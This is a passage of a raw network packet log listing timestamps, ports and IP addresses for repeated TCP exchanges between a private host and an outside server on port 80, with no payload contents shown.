Jan 10, 2025 23:24:44.614420891 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.614526987 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.614731073 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.617243052 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.617476940 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.617723942 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.620134115 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.620242119 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.620400906 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.622730970 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.622948885 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.623209000 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.625451088 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.625554085 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.625770092 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.628145933 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.628253937 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.628540039 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.630826950 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.630923986 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.631089926 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.633378029 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.633599043 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.633764982 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.635957956 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.636071920 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.636326075 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.638572931 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.638685942 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.638953924 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.641114950 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.641216040 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.641851902 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.643668890 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.643901110 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.644166946 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.646187067 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.646290064 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.646455050 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.648736954 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.648838997 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.649053097 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.651123047 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.651216030 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.651375055 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.653531075 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.653635025 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.653877020 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.655991077 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.656088114 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.656368017 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.658376932 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.658480883 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.658678055 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.660906076 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.661159039 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.661328077 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.663269997 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.663309097 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.663547993 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.665743113 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.665978909 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.666182995 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.667995930 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.668034077 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.668200970 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.670300007 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.670340061 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.670572042 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.672574997 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.672615051 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.672835112 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.674907923 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.675117970 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.675312042 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.677221060 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.677259922 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.677561998 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.679483891 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.679696083 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.679941893 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.681668043 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.681708097 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.681874990 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.683892965 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.684118032 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.684357882 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.686153889 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.686196089 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.686476946 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.688461065 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.688499928 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.688761950 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.690481901 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.690704107 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.690896988 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.692610025 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.692647934 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.692847013 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.694799900 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.694839954 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.695056915 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.696985006 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.697025061 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.697315931 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.699130058 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.699168921 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.699310064 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:45.169229984 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.186485052 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.358941078 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.359066963 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.366338015 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.541124105 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541222095 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541342020 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541457891 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541496992 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.541558027 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541691065 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541711092 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.541785955 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541872978 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.541944981 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.542000055 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.542115927 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.542164087 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.542458057 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.713768005 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.713825941 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.714294910 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.720045090 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.720099926 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.720518112 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.732007027 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.732064962 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.732494116 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.743972063 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.744028091 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.744441032 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.755995989 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.756055117 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.756556034 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.768049955 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.768105984 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.768522978 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.780114889 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.780169964 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.780585051 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.792237043 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.792296886 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.792622089 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.804281950 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.804337978 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.804683924 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.816337109 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.816395044 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.816715956 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.886706114 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.886838913 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.887160063 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.892786026 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.892844915 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.893205881 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.904808998 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.905050039 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.905361891 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.916884899 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.916940928 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.917191029 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.928985119 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.929042101 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.929387093 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.941006899 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.941062927 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.941414118 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.953104973 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.953304052 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.953569889 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.965033054 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.965090990 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.965409040 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.976002932 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.976058960 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.976319075 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.986973047 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.987030029 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.987272024 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:46.997231007 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.997286081 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:46.997559071 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.006831884 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.006889105 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.007179976 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.016530991 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.016587019 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.016836882 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.026098967 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.026158094 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.026444912 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.035756111 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.036011934 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.036313057 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.045434952 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.045495987 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.045769930 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.055027008 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.055278063 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.055578947 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.064616919 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.064707041 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.064985037 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.070684910 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.070745945 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.071341991 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.076472044 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.076567888 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.077004910 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.082127094 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.082248926 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.082528114 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.087744951 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.087802887 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.088253975 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.093760967 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.093857050 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.094137907 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.099200010 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.099278927 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.099507093 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.105211973 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.105422974 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.105693102 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.110593081 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.110678911 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.111097097 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.116297007 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.116348028 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.116615057 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.121917963 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.122117996 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.122595072 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.127897978 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.127953053 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.128285885 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.133388042 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.133645058 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.134021997 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.139012098 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.139090061 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.139416933 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.144721985 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.144815922 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.145123959 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.150438070 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.150690079 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.150960922 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.156099081 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.156157970 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.156394958 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.161823988 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.161899090 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.162436008 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.167512894 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.167571068 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.167887926 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.173269033 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.173335075 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.173633099 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.178881884 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.178950071 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.179282904 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.184624910 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.184681892 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.185048103 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.190150023 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.190272093 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.190650940 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.195514917 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.195785046 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.196259975 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.200937986 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.200994968 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.201354027 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.206127882 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.206185102 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.206433058 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.211349010 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.211409092 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.211719990 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.216530085 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.216598034 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.216834068 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.221637964 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.221729040 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.222170115 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.226654053 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.226711035 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.227085114 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.231688023 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.231865883 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.232147932 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.236578941 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.236670017 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.236949921 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.241462946 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.241519928 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.241998911 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.245135069 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.245337963 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.245579958 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.248866081 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.248938084 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.249233961 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.252532005 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.252620935 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.252907991 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.256170988 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.256263018 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.256680965 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.259474993 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.259686947 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.260106087 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.262933969 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.263026953 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.263282061 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.266325951 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.266383886 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.266802073 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.269632101 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.269682884 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.270155907 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.272958040 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.273031950 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.273233891 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.276110888 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.276350975 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.276736021 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.279324055 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.279382944 CET	80	49801	63.250.43.134	192.168.11.20
